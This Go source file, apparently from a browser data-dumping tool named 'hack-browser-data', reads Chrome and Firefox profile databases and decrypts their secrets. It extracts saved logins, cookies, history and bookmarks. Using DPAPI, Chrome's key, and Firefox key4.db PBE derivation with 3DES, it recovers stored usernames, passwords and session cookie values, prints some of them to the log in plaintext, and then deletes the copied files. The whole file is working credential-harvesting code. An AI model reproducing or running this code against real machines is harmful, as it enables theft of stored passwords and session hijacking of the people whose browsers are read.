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565 lines
13 KiB
565 lines
13 KiB
package core
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import (
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"bytes"
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"crypto/cipher"
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"crypto/des"
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"crypto/hmac"
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"crypto/sha1"
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"database/sql"
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"encoding/asn1"
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"encoding/base64"
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"encoding/hex"
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"hack-browser-data/log"
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"hack-browser-data/utils"
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"io/ioutil"
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"os"
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"sort"
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"time"
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_ "github.com/mattn/go-sqlite3"
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"github.com/tidwall/gjson"
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)
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const (
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bookmarkID = "id"
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bookmarkAdded = "date_added"
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bookmarkUrl = "url"
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bookmarkName = "name"
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bookmarkType = "type"
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bookmarkChildren = "children"
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)
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var (
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FullData = new(BrowserData)
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)
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type (
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BrowserData struct {
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LoginDataSlice
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BookmarkSlice
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CookieMap
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HistorySlice
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}
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LoginDataSlice []loginData
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BookmarkSlice []bookmarks
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CookieMap map[string][]cookies
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HistorySlice []history
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loginData struct {
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UserName string
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encryptPass []byte
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Password string
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LoginUrl string
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CreateDate time.Time
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}
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bookmarks struct {
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ID int64
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Name string
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Type string
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URL string
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DateAdded time.Time
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}
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cookies struct {
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Host string
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Path string
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KeyName string
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encryptValue []byte
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Value string
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IsSecure bool
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IsHTTPOnly bool
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HasExpire bool
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IsPersistent bool
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CreateDate time.Time
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ExpireDate time.Time
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}
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history struct {
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Title string
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Url string
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VisitCount int
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LastVisitTime time.Time
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}
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)
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func ParseResult(dbname string) {
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switch dbname {
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case utils.Bookmarks:
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parseBookmarks()
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case utils.History:
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parseHistory()
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case utils.Cookies:
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parseCookie()
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case utils.LoginData:
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parseLogin()
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}
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}
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var bookmarkList BookmarkSlice
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func parseBookmarks() {
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bookmarks, err := utils.ReadFile(utils.Bookmarks)
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defer os.Remove(utils.Bookmarks)
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if err != nil {
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log.Println(err)
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}
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r := gjson.Parse(bookmarks)
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if r.Exists() {
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roots := r.Get("roots")
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roots.ForEach(func(key, value gjson.Result) bool {
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getBookmarkChildren(value)
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return true
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})
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}
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sort.Slice(bookmarkList, func(i, j int) bool {
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return bookmarkList[i].ID < bookmarkList[j].ID
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})
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FullData.BookmarkSlice = bookmarkList
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}
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var queryLogin = `SELECT origin_url, username_value, password_value, date_created FROM logins`
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func parseLogin() {
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var loginItemList LoginDataSlice
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login := loginData{}
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loginDB, err := sql.Open("sqlite3", utils.LoginData)
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defer os.Remove(utils.LoginData)
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defer func() {
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if err := loginDB.Close(); err != nil {
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log.Println(err)
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}
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}()
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if err != nil {
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log.Println(err)
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}
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err = loginDB.Ping()
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rows, err := loginDB.Query(queryLogin)
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defer func() {
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if err := rows.Close(); err != nil {
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log.Println(err)
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}
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}()
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for rows.Next() {
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var (
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url, username, password string
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pwd []byte
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create int64
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)
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err = rows.Scan(&url, &username, &pwd, &create)
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login = loginData{
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UserName: username,
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encryptPass: pwd,
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LoginUrl: url,
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}
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if utils.VersionUnder80 {
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password, err = utils.DecryptStringWithDPAPI(pwd)
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} else {
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password, err = utils.DecryptChromePass(pwd)
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}
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if create > time.Now().Unix() {
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login.CreateDate = utils.TimeEpochFormat(create)
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} else {
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login.CreateDate = utils.TimeStampFormat(create)
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}
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login.Password = password
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if err != nil {
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log.Println(err)
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}
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loginItemList = append(loginItemList, login)
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}
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sort.Sort(loginItemList)
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FullData.LoginDataSlice = loginItemList
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}
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var queryCookie = `SELECT name, encrypted_value, host_key, path, creation_utc, expires_utc, is_secure, is_httponly, has_expires, is_persistent FROM cookies`
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func parseCookie() {
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cookie := cookies{}
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cookieMap := make(map[string][]cookies)
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cookieDB, err := sql.Open("sqlite3", utils.Cookies)
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defer os.Remove(utils.Cookies)
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defer func() {
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if err := cookieDB.Close(); err != nil {
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log.Println(err)
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}
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}()
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if err != nil {
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log.Println(err)
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}
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err = cookieDB.Ping()
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rows, err := cookieDB.Query(queryCookie)
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defer func() {
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if err := rows.Close(); err != nil {
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log.Println(err)
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}
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}()
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for rows.Next() {
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var (
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key, host, path, value string
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isSecure, isHTTPOnly, hasExpire, isPersistent int
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createDate, expireDate int64
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encryptValue []byte
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)
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err = rows.Scan(&key, &encryptValue, &host, &path, &createDate, &expireDate, &isSecure, &isHTTPOnly, &hasExpire, &isPersistent)
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cookie = cookies{
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KeyName: key,
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Host: host,
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Path: path,
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encryptValue: encryptValue,
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IsSecure: utils.IntToBool(isSecure),
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IsHTTPOnly: utils.IntToBool(isHTTPOnly),
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HasExpire: utils.IntToBool(hasExpire),
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IsPersistent: utils.IntToBool(isPersistent),
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CreateDate: utils.TimeEpochFormat(createDate),
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ExpireDate: utils.TimeEpochFormat(expireDate),
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}
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// remove prefix 'v10'
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if utils.VersionUnder80 {
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value, err = utils.DecryptStringWithDPAPI(encryptValue)
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} else {
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value, err = utils.DecryptChromePass(encryptValue)
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}
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cookie.Value = value
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if _, ok := cookieMap[host]; ok {
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cookieMap[host] = append(cookieMap[host], cookie)
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} else {
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cookieMap[host] = []cookies{cookie}
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}
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}
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FullData.CookieMap = cookieMap
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}
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var queryHistory = `SELECT url, title, visit_count, last_visit_time FROM urls`
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func parseHistory() {
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var historyList HistorySlice
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h := history{}
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historyDB, err := sql.Open("sqlite3", utils.History)
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defer os.Remove(utils.History)
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defer func() {
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if err := historyDB.Close(); err != nil {
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log.Println(err)
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}
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}()
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if err != nil {
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log.Println(err)
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}
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err = historyDB.Ping()
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rows, err := historyDB.Query(queryHistory)
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defer func() {
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if err := rows.Close(); err != nil {
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log.Println(err)
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}
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}()
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for rows.Next() {
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var (
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url, title string
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visitCount int
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lastVisitTime int64
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)
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err := rows.Scan(&url, &title, &visitCount, &lastVisitTime)
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h = history{
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Url: url,
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Title: title,
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VisitCount: visitCount,
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LastVisitTime: utils.TimeEpochFormat(lastVisitTime),
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}
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if err != nil {
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log.Println(err)
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continue
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}
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historyList = append(historyList, h)
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}
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sort.Slice(historyList, func(i, j int) bool {
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return historyList[i].VisitCount > historyList[j].VisitCount
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})
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FullData.HistorySlice = historyList
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}
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func getBookmarkChildren(value gjson.Result) (children gjson.Result) {
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b := bookmarks{}
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b.ID = value.Get(bookmarkID).Int()
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nodeType := value.Get(bookmarkType)
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b.DateAdded = utils.TimeEpochFormat(value.Get(bookmarkAdded).Int())
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b.URL = value.Get(bookmarkUrl).String()
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b.Name = value.Get(bookmarkName).String()
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children = value.Get(bookmarkChildren)
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if nodeType.Exists() {
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b.Type = nodeType.String()
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bookmarkList = append(bookmarkList, b)
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if children.Exists() && children.IsArray() {
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for _, v := range children.Array() {
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children = getBookmarkChildren(v)
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}
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}
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}
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return children
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}
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var queryPassword = `SELECT item1, item2 FROM metaData WHERE id = 'password'`
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func checkKey(key4 string) (b [][]byte) {
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keyDB, err := sql.Open("sqlite3", key4)
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defer func() {
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if err := keyDB.Close(); err != nil {
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log.Println(err)
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}
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}()
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if err != nil {
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log.Println(err)
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}
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err = keyDB.Ping()
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rows, err := keyDB.Query(queryPassword)
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defer func() {
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if err := rows.Close(); err != nil {
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log.Println(err)
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}
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}()
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for rows.Next() {
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var (
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item1, item2 []byte
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)
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if err := rows.Scan(&item1, &item2); err != nil {
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log.Println(err)
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}
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b = append(b, item1, item2)
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}
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return b
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}
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var queryDecode = `SELECT a11, a102 from nssPrivate;`
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func checkA102(key4 string) (b [][]byte) {
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keyDB, err := sql.Open("sqlite3", key4)
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defer func() {
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if err := keyDB.Close(); err != nil {
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log.Println(err)
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}
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}()
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if err != nil {
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log.Println(err)
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}
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rows, err := keyDB.Query(queryDecode)
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defer func() {
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if err := rows.Close(); err != nil {
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log.Println(err)
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}
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}()
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for rows.Next() {
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var (
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a11, a102 []byte
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)
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if err := rows.Scan(&a11, &a102); err != nil {
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log.Println(err)
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}
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b = append(b, a11, a102)
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}
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log.Println(b)
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return b
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}
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/*
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ASN1 PBE Structures
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SEQUENCE (2 elem)
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SEQUENCE (2 elem)
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OBJECT IDENTIFIER
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SEQUENCE (2 elem)
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OCTET STRING (20 byte)
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INTEGER 1
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OCTET STRING (16 byte)
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*/
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type PBEAlgorithms struct {
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SequenceA
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CipherText []byte
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}
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type SequenceA struct {
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DecryptMethod asn1.ObjectIdentifier
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SequenceB
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}
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type SequenceB struct {
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EntrySalt []byte
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Len int
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}
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/*
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SEQUENCE (3 elem)
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OCTET STRING (16 byte)
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SEQUENCE (2 elem)
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OBJECT IDENTIFIER 1.2.840.113549.3.7 des-EDE3-CBC (RSADSI encryptionAlgorithm)
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OCTET STRING (8 byte)
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OCTET STRING (16 byte)
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*/
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type PasswordAsn1 struct {
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CipherText []byte
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SequenceIV
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Encrypted []byte
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}
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type SequenceIV struct {
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asn1.ObjectIdentifier
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Iv []byte
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}
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func decryptPBE(decodeItem []byte) (pbe PBEAlgorithms) {
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_, err := asn1.Unmarshal(decodeItem, &pbe)
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if err != nil {
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log.Error(err)
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}
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return
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}
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func DecodeKey4() {
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h1 := checkKey("key4.db")
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globalSalt := h1[0]
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decodedItem := h1[1]
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keyLin := []byte{248, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1}
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pbe := decryptPBE(decodedItem)
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m := checkPassword(globalSalt, pbe.EntrySalt, pbe.CipherText)
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var finallyKey []byte
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if bytes.Contains(m, []byte("password-check")) {
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log.Println("password-check success")
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h2 := checkA102("key4.db")
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a11 := h2[0]
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a102 := h2[1]
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m := bytes.Compare(a102, keyLin)
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if m == 0 {
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pbe2 := decryptPBE(a11)
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log.Debugf("decrypt asn1 pbe success")
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finallyKey = checkPassword(globalSalt, pbe2.EntrySalt, pbe2.CipherText)[:24]
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log.Debugf("finally key", finallyKey, hex.EncodeToString(finallyKey))
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}
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}
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allLogins := GetLoginData("logins.json")
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for _, v := range allLogins {
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log.Warn(hex.EncodeToString(v.encryptUser))
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s1 := decryptLogin(v.encryptUser)
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log.Warn(hex.EncodeToString(v.encryptPass))
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s2 := decryptLogin(v.encryptPass)
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log.Println(s1, s1.CipherText, s1.Encrypted, s1.Iv)
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block, err := des.NewTripleDESCipher(finallyKey)
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if err != nil {
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log.Println(err)
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}
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blockMode := cipher.NewCBCDecrypter(block, s1.Iv)
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sq := make([]byte, len(s1.Encrypted))
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blockMode.CryptBlocks(sq, s1.Encrypted)
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blockMode2 := cipher.NewCBCDecrypter(block, s2.Iv)
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sq2 := make([]byte, len(s2.Encrypted))
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blockMode2.CryptBlocks(sq2, s2.Encrypted)
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FullData.LoginDataSlice = append(FullData.LoginDataSlice, loginData{
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LoginUrl: v.loginUrl,
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UserName: string(sq),
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Password: string(sq2),
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})
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log.Errorf("%s:%s:%s", v.loginUrl, string(sq), string(sq2))
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}
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}
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func checkPassword(globalSalt, entrySalt, encryptText []byte) []byte {
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//byte[] GLMP; // GlobalSalt + MasterPassword
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//byte[] HP; // SHA1(GLMP)
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//byte[] HPES; // HP + EntrySalt
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//byte[] CHP; // SHA1(HPES)
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//byte[] PES; // EntrySalt completed to 20 bytes by zero
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//byte[] PESES; // PES + EntrySalt
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//byte[] k1;
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//byte[] tk;
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//byte[] k2;
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//byte[] k; // final value conytaining key and iv
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sha1.New()
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hp := sha1.Sum(globalSalt)
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log.Warn(hex.EncodeToString(hp[:]))
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log.Println(len(entrySalt))
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s := append(hp[:], entrySalt...)
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log.Warn(hex.EncodeToString(s))
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chp := sha1.Sum(s)
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log.Warn(hex.EncodeToString(chp[:]))
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pes := paddingZero(entrySalt, 20)
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tk := hmac.New(sha1.New, chp[:])
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tk.Write(pes)
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pes = append(pes, entrySalt...)
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log.Warn(hex.EncodeToString(pes))
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//k1 = hmac.new(chp, pes + entrySalt, sha1).digest()
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//tk = hmac.new(chp, pes, sha1).digest()
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k1 := hmac.New(sha1.New, chp[:])
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k1.Write(pes)
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log.Warn(hex.EncodeToString(k1.Sum(nil)))
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log.Warn(hex.EncodeToString(tk.Sum(nil)))
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//k2 = hmac.new(chp, tk + entrySalt, sha1).digest()
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tkPlus := append(tk.Sum(nil), entrySalt...)
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k2 := hmac.New(sha1.New, chp[:])
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k2.Write(tkPlus)
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log.Warn(hex.EncodeToString(k2.Sum(nil)))
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k := append(k1.Sum(nil), k2.Sum(nil)...)
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iv := k[len(k)-8:]
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key := k[:24]
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log.Warn("key=", hex.EncodeToString(key), "iv=", hex.EncodeToString(iv))
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block, err := des.NewTripleDESCipher(key)
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if err != nil {
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log.Println(err)
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}
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blockMode := cipher.NewCBCDecrypter(block, iv)
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sq := make([]byte, len(encryptText))
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blockMode.CryptBlocks(sq, encryptText)
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return sq
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}
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func paddingZero(s []byte, l int) []byte {
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h := l - len(s)
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if h <= 0 {
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return s
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} else {
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for i := len(s); i < l; i++ {
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s = append(s, 0)
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}
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return s
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}
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}
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type Logins struct {
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encryptUser []byte
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encryptPass []byte
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loginUrl string
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createTime int64
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}
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|
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func GetLoginData(loginsJson string) (l []Logins) {
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s, err := ioutil.ReadFile(loginsJson)
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if err != nil {
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log.Warn(err)
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}
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defer os.Remove(loginsJson)
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h := gjson.GetBytes(s, "logins")
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if h.Exists() {
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for _, v := range h.Array() {
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var (
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m Logins
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u []byte
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p []byte
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)
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m.loginUrl = v.Get("formSubmitURL").String()
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u, err = base64.StdEncoding.DecodeString(v.Get("encryptedUsername").String())
|
|
m.encryptUser = u
|
|
if err != nil {
|
|
log.Println(err)
|
|
}
|
|
p, err = base64.StdEncoding.DecodeString(v.Get("encryptedPassword").String())
|
|
m.encryptPass = p
|
|
m.createTime = v.Get("timeCreated").Int()
|
|
l = append(l, m)
|
|
}
|
|
}
|
|
return
|
|
}
|
|
|
|
func decryptLogin(s []byte) (pbe PasswordAsn1) {
|
|
_, err := asn1.Unmarshal(s, &pbe)
|
|
if err != nil {
|
|
log.Println(err)
|
|
}
|
|
return pbe
|
|
}
|
|
|